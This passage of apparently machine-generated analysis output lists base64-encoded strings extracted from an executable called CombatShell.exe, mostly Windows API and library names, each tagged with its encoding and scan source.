Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ciAuMjY6SlpibA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VBY3RpdmF0aW9uQXV0aGVudGljYXRpb25MZXZlbA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VEZWZhdWx0QXV0aG5MZXZlbA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VFeGNlcHRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VFeGNlcHRpb25PblBvc3NpYmxlRGVhZGxvY2s=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVhZENvbnNvbGVX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEZpbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVjdmZyb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVkcmF3V2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ2xvc2VLZXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ3JlYXRlS2V5RXhB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ3JlYXRlS2V5RXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnRW51bUtleUV4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnRW51bVZhbHVlVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJDbGFzc0V4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJDbGlwYm9hcmRGb3JtYXRX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJEcmFnRHJvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJSYXdJbnB1dERldmljZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJUb3VjaFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJXYWl0Rm9yU2luZ2xlT2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJXaW5kb3dNZXNzYWdlQQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnT3BlbktleUV4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnUXVlcnlJbmZvS2V5Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnUXVlcnlWYWx1ZUV4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnU2V0VmFsdWVFeEE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZUNhcHR1cmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZURD","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZVNSV0xvY2tFeGNsdXNpdmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZVNSV0xvY2tTaGFyZWQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3RlU2VydmVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3ZlRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3ZlUHJvcFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVzb3VyY2VQb2xpY2llcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmV2ZXJ0VG9TZWxm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmV2b2tlRHJhZ0Ryb3A=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Um9PcmlnaW5hdGVFcnJvclc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UlNBUFVCTElDQkxPQg==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UnRsQWRqdXN0UHJpdmlsZWdl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UnRsQ2FwdHVyZUNvbnRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsR2V0VmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UnRsTG9va3VwRnVuY3Rpb25FbnRyeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsTnRTdGF0dXNUb0Rvc0Vycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsVW53aW5kRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsVmlydHVhbFVud2luZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"czJHUGFNUGFrUGFt","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"czJrbTNjbTNtbTNrbTJjbTJtbTI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5Q3JlYXRlVmVjdG9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5UHV0RWxlbWVudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZURsbFNlYXJjaE1vZGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2FmZVByb2Nlc3NTZWFyY2hNb2Rl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2NyZWVuVG9DbGllbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2VjdXIzMi5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXJpdHlQcm92aWRlcnM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VuZElucHV0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VuZE1lc3NhZ2VX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VyaWFsX0FjY2Vzc19OdW0=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q2FwdHVyZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q2xpcGJvYXJkRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZUN0cmxIYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZVRleHRBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q3VycmVudERpcmVjdG9yeVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q3Vyc29y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q3Vyc29yUG9z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RW5kT2ZGaWxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0RW52aXJvbm1lbnRWYXJpYWJsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RXJyb3JJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZUF0dHJpYnV0ZXNX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZUNvbXBsZXRpb25Ob3RpZmljYXRpb25Nb2Rlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZVBvaW50ZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZVBvaW50ZXJFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZVRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Rm9yZWdyb3VuZFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0SGFuZGxlSW5mb3JtYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0TWVudURlZmF1bHRJdGVt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0UGl4ZWxGb3JtYXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0UHJvY2Vzc0RwaUF3YXJlbmVzc0NvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0UHJvcFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0c29ja29wdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0U3RkSGFuZGxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkRGVzY3JpcHRpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkRXJyb3JNb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkcG9vbFRpbWVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkcG9vbFdhaXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkU3RhY2tHdWFyYW50ZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGltZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0dGluZ3MudmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2FpdGFibGVUaW1lcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93Q29tcG9zaXRpb25BdHRyaWJ1dGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93RGlzcGxheUFmZmluaXR5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93TG9uZ1B0clc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93TG9uZ1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93UGxhY2VtZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93UG9z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93VGV4dFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93VGhlbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0eWJkZXRIM0EoSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2hjb3JlLmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c2hlbGwzMi5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hlbGxfVHJheVduZA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hlbGxFeGVjdXRlVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd0N1cnNvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2hvd1dpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2h1dGRvd24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXBDb25kaXRpb25WYXJpYWJsZUNT","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXBDb25kaXRpb25WYXJpYWJsZVNSVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXBFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U210RGVsYXlCYXNlWWllbGQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U210RGVsYXlNYXhZaWVsZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U210RGVsYXlTbGVlcExvb3BXaW5kb3dTaXpl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U210RGVsYXlTcGluQ291bnRUaHJlc2hvbGQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U210RmFjdG9yWWllbGQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c3Nzc3Nzc3Nzc3Nzc3Nzc2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RmZmxmZmlnYWwzMQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3RyaW5nRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3VibWl0VGhyZWFkcG9vbFdvcms=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3dhcEJ1ZmZlcnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3dpdGNoVG9UaHJlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzQWxsb2NTdHJpbmdMZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzRnJlZVN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzU3RyaW5nTGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtRnVuY3Rpb24wMzY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtUGFyYW1ldGVyc0luZm9B","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtU2V0dXBJblByb2dyZXNz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtVGltZVRvRmlsZVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtVGltZVRvVHpTcGVjaWZpY0xvY2FsVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VCQoSDlQaHc+SA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VCQoSDlQaHc/","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VCQwSGtEJFAwSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VCRYSDtEJFB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGFyZ2V0IElNRQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGVybWluYXRlUHJvY2Vzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGhyZWFkaW5n","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhyZWFkaW5nTW9kZWw=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGxzQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzRnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzR2V0VmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzU2V0VmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VG9rZW5TaXpl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VG9Vbmljb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VG9Vbmljb2RlRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhY2tNb3VzZUV2ZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhY2tQb3B1cE1lbnU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNsYXRlTWVzc2FnZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNsYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNwYXJlbnRFbmFibGVk","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJ1c3RMZXZlbA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJ5QWNxdWlyZVNSV0xvY2tFeGNsdXNpdmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJ5RW50ZXJDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFNBcHBDb21wYXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFNVc2VyRW5hYmxlZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHpTcGVjaWZpY0xvY2FsVGltZVRvU3lzdGVtVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dWVzcGVtb3NIM0EgSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhR2V0UmVzZXJ2ZWROb3RTdXBwb3J0ZWRWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhSG9zdFByb3ZpZGVyRnJvbUh3bmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhTG9va3VwSWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhUmFpc2VBdXRvbWF0aW9uRXZlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhUmFpc2VBdXRvbWF0aW9uUHJvcGVydHlDaGFuZ2VkRXZlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhUmV0dXJuUmF3RWxlbWVudFByb3ZpZGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VW5sb2NrRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VW5sb2NrRmlsZUV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VW5tYXBWaWV3T2ZGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VW5yZWdpc3RlcldhaXRFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"dXNlX3NvZnR3YXJlX3hvcl9jb3B5cGl4ZWxz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dXNlcjMyLmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlckNvbnRleHRMaXN0Q291bnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlckNvbnRleHRMb2NrQ291bnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dXNlcmVudi5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlcmVudkRlYnVnTGV2ZWw=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VVVVVVVVVVVIIQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"dXh0aGVtZS5kbGw=","type":"Unicode","source":"Runtime 